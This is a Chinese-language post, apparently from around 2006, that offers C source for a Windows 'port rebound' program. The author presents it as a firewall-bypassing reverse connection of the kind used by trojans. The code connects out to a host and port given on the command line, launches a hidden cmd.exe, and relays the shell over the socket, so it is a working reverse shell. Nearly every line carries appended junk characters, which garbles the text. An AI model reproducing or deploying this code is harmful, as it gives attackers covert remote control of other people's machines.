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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *x])Y~oQ  
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/* ============================== OCJnjlV%  
Rebound port in Windows NT O<"}|nbmQ[  
By wind,2006/7 B}:(za&  
===============================*/ O QT;zqup  
#include Fpa ;^F  
#include jm0- y%  
P%=#^T&`}  
#pragma comment(lib,"wsock32.lib") '0uh D.|G  
ZF|+W?0&%  
void OutputShell(); >`wV1^M6?  
SOCKET sClient; [}8|R0KF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2?,EzBeal  
Y"Ql!5=  
void main(int argc,char **argv) ,(?po (']  
{ #hf ak  
WSADATA stWsaData; \2}bi:e 6  
int nRet; 5ish\"  
SOCKADDR_IN stSaiClient,stSaiServer; {%{ `l-  
@t`Xq1  
if(argc != 3) gk+h8 LZ  
{ }!/$M\w  
printf("Useage:\n\rRebound DestIP DestPort\n"); k.^co I5  
return; &f^l ^K 5:  
} Jn3 An  
*l;B\=KR  
WSAStartup(MAKEWORD(2,2),&stWsaData); y^Kph# F"  
0B&Y ]*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1~ t{aLPz  
F;[T#N:~  
stSaiClient.sin_family = AF_INET; 7.@TK&  
stSaiClient.sin_port = htons(0); %]6~Eq%s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @@rEs40  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IWveW8qJ  
{ 4*mS y  
printf("Bind Socket Failed!\n"); AfP 'EP0m  
return; w'fT=v)  
} uN^=<B?B  
:ORR_f`>  
stSaiServer.sin_family = AF_INET; }kK[S|XVO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =;|QZ"%E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FwY&/\J7V  
f<*Js)k  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MR,R}B$  
{ H_Kj7(=&>  
printf("Connect Error!"); ?wF'<kEH  
return; |),'9  
} +sx 8t  
OutputShell(); J}@z_^|"mJ  
} VY"9?2?/  
Ra/Ukv_v  
void OutputShell() 7aYn0_NKp  
{ MXiQ1 x  
char szBuff[1024]; C?=P  
SECURITY_ATTRIBUTES stSecurityAttributes; _s$_Sa ;  
OSVERSIONINFO stOsversionInfo; hf<^/@^tK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .tmiQ.  
STARTUPINFO stStartupInfo; N!x =eC  
char *szShell; 6uKMCQ=h  
PROCESS_INFORMATION stProcessInformation; /c-r  
unsigned long lBytesRead; ^/ =#UQ*k  
UMp/ \&0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A@D2+fS  
3 M10fI?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8kt5KnD2  
stSecurityAttributes.lpSecurityDescriptor = 0; Ev2HGU[  
stSecurityAttributes.bInheritHandle = TRUE; }%`~T>/  
lR`'e0Lq  
qdG~!h7j  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h:)Ci!D;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [kzd(u  
6^n0[7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kctzNGF|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OxtOd\0$  
stStartupInfo.wShowWindow = SW_HIDE; <zy,5IlD  
stStartupInfo.hStdInput = hReadPipe; }Jh: 8BNuP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Xy5s^82?  
x]{E)d"!  
GetVersionEx(&stOsversionInfo); 9F- )r'  
'snn~{hG  
switch(stOsversionInfo.dwPlatformId) 5,;`$'?a%  
{ G"59cv8z4R  
case 1: KkMay  
szShell = "command.com"; CBKkBuKuk  
break; (ihP `k-.  
default: <{:  
szShell = "cmd.exe"; 8dOo Q  
break; =GBI0&U  
} ow;R$5G  
*P!e:Tm)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3!o4)yJWx  
$ RwB_F  
send(sClient,szMsg,77,0); oi&Wo'DX  
while(1) &Q=ZwC7#  
{ (zYy }g#n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]:$ O{y  
if(lBytesRead) L~/qGDXC?  
{ qxMnp}O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !epgTN  
send(sClient,szBuff,lBytesRead,0); HXVBb%pP  
} L]hXp t  
else W*:,m8wk  
{ LFp]7Dq  
lBytesRead=recv(sClient,szBuff,1024,0); .LRxP#B  
if(lBytesRead<=0) break; 3PUAH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E%TpJl'U  
} 9>#:/g/  
} rf9_eP  
pA#}-S%  
return; (|fm6$  
}
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